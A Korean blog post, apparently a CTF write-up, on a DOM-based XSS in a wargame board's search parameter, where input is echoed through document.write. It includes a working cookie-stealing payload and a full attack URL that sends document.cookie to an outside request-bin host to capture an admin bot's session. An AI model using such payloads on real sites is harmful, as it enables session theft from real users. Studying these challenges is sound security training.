WarGame/SegFault

XSS Challenge

Alioth02 2024. 6. 24. 12:24

문제 정보

1. XSS 포인트

취약점 경로 : http://ctf.segfaulthub.com:4343/xss_4/notice_list.php
취약 파라미터 : board_result

게시글을 검색할 수 있는 페이지에서

검색 결과가 없는 검색어 입력 시,

사용자 입력 값을 그대로 화면에 출력하는 모습을 볼 수 있다.

(* XSS 포인트 확인)

검색 응답에 test 라는 문자열은 확인되지 않지만,

사용자가 검색어로 입력한 board_result 파라미터 값을 가져와

자바스크립트로 브라우저에서 document.write 함수를 이용해 출력하는 모습을 볼 수 있다.

2. 스크립트 분석

<script>
	// keyword 변수에 사용자가 입력한 검색 키워드를 담는다.
	var keyword = (new URLSearchParams(window.location.search)).get('board_result');
    
    // 키워드 존재 시
	if(keyword){
    
    	// 검색 키워드를 HTML 문서에서 ID 속성이 'search_addr'인 요소의 값으로 설정한다.
	// <input id = "search_addr" name = "board_result" type = "text" placeholder="Search" />
        document.getElementById('search_addr').value = keyword;
        
        // 검색 키워드를 출력한다.
		document.write(keyword+'에 대한 검색 결과가 없습니다.');
	}
</script>

document.write 함수는

안에 들어가는 내용이 클라이언트 측 코드(HTML, JavaScript)를 포함하고 있으면

해당 코드를 실행하므로

keyword(검색어 = board_result 파라미터)에 스크립트를 삽입한다면 XSS 공격을 할 수 있다.

3. 스크립트 삽입

board_result 파라미터에 POC 스크립트를 삽입하여

해당 url로 접근하면

스크립트가 삽입된 document.write 가 동작하면서

알림창을 띄워주는 모습을 볼 수 있다.

4. 쿠키 탈취

<script>var i = new Image(); i.src = "공격자 서버 주소/?cookie=" %2 bdocument.cookie;</script>

쿠키를 탈취하는 스크립트를 작성한 다음

board_result 파라미터에 해당 스크립트를 삽입하여

http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?
option_val=username
&board_result=<script>var+i+=+new+Image();i.src="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;</script>
&board_search=%F0%9F%94%8D
&date_from=
&date_to=

생성된 get 요청 url로 접근하면

공격자 서버로 피해자의 세션 ID가 전달되는 것을 볼 수 있다.

완성된 공격 URL을

관리자 봇이 접근할 수 있도록 전달해 보니,

공격자의 서버에서

피해자인 관리자의 세션 ID

즉, FLAG를 얻을 수 있었다.